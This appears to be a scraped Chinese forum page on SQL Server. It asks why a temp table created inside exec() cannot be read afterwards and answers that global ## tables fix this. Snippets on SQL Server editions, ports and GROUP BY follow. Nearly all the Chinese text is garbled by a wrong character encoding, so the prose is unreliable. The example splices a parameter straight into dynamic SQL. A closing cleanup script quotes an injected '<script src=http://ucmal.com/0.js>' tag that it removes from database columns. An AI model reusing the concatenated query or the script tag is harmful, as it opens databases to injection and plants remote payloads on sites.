¶¯Ì¬Ö´ÐÐSqlÓï¾äÓëÁÙʱ±íµÄÎÊÌâ(¶ÔÏóÃûÎÞЧ)
exec('selectIDENTITY(int,1,1) as ID,fnum,into #yuecu from store_store where '+@Parameter)
select XX,XX1,XX2 from #yuecu
ÕâÑù´´½¨Ò»¸öÁÙʱ±íÒÔºóÎÒÔÙÏë´ÓÁÙʱ±íÖÐÈ¡Êý¾ÝÌáʾ¶ÔÏóÃû#yuecu ÎÞЧ£¬ÔΣ¬Èç¹ûÎÒ²»ÊÇʹÓÃexec()Ö´ÐÐsqlÓï¾äµÄ»°¾ÍûÓÐÈκÎÎÊÌâ,WHY?
ÁÙʱ±íÓÐ×÷ÓÃÓòµÄ£¬ÉÏÃæµÄÁÙʱ±íÖ»ÔÚEXEC內²¿ÓÐЧ¡£
½â¾ö°ì·¨£º
¸ÄÓÃÈ«¾ÖÁÙʱ±í
exec('selectIDENTITY(int,1,1) as ID,fnum,into ##yuecu from store_store where '+@Parameter)
select * from ##yuecu
Ïà¹ØÎĵµ£º
ÉÏÍøÒ»²é£¬SQL server2008¶¼³öÀ´ÁË£¬ÎÒ»¹ÊÇÏÈ´Ó»ù´¡µÄѧÆð°É¡£
SQL server2000µÄ³£¼û°æ±¾ÓУºÆóÒµ°æ¡¢±ê×¼°æ¡¢¸öÈ˰桢¿ª·¢°æ¡£
ÆóÒµ°æ£º¹¦ÄÜÈ«Ãæ£¬Ó¦ÓÃÓÚ´óÖÐÐͲúÆ··þÎñ´¦ÀíÆ÷£¬Ö§³Ö´óÐÍÍøÕ¾¡¢Áª»úÊÂÎñ´¦Àí£¬Áª»ú·ÖÎö´¦ÀíµÄÐÔÄÜ¡£
±ê×¼°æ£ºÊÊÓÃÓÚСÐ͹¤×÷×飬²»Ö§³Ö´óÐÍÊý¾Ý¿â£¬Êý¾Ý²Ö¿âºÍÍøÕ¾µÄ¹¦ÄÜ£¬¶øÇÒ²»Ö§³ÖËùÓÐ¹Ø ......
SQL ServerÔÚ°²×°µ½·þÎñÆ÷ÉϺó£¬ÓÉÓÚ³öÓÚ·þÎñÆ÷°²È«µÄÐèÒª£¬ËùÒÔÐèÒªÆÁ±ÎµôËùÓв»Ê¹ÓõĶ˿ڣ¬Ö»¿ª·Å±ØÐëʹÓõĶ˿ڡ£ÏÂÃæ¾ÍÀ´½éÉÜÏÂSQL Server 2008ÖÐʹÓõĶ˿ÚÓÐÄÄЩ£º
Ê×ÏÈ£¬×î³£ÓÃ×î³£¼ûµÄ¾ÍÊÇ1433¶Ë¿Ú¡£Õâ¸öÊÇÊý¾Ý¿âÒýÇæµÄ¶Ë¿Ú£¬Èç¹ûÎÒÃÇÒªÔ¶³ÌÁ¬½ÓÊý¾Ý¿âÒýÇæ£¬ÄÇô¾ÍÐèÒª´ò¿ª¸Ã¶Ë¿Ú¡£Õâ¸ö¶Ë¿ÚÊÇ¿ÉÒÔÐ޸ĵģ¬ÔÚ&ldq ......
GROUP BY×Ó¾ä
Ö¸¶¨²éѯ½á¹ûµÄ·Ö×éÌõ¼þ
Óï·¨£ºGROUP BY [ALL] group_by_expression_r_r [,n]
[WITH{CUBE|ROLLUP}]
group_by_expression_r_rÖ¸Ã÷·Ö×éÌõ¼þ£¬Í¨³£ÊÇÒ»¸öÁÐÃû£¬µ«²»ÄÜÊÇÁеıðÃû¡£
ALL·µ»ØËùÓвéѯ½á¹ûµÄ×éºÏ¡£Èç¹ûûÓÐÂú×ãwhere×Ó¾äµÄÊý¾ÝÔòÓÉNULLÖµ¹¹³ÉÊý¾Ý¡£ALLµÄÑ¡Ïî²»Ä ......
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--ɾ³ý´¦Àí
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'',''' ......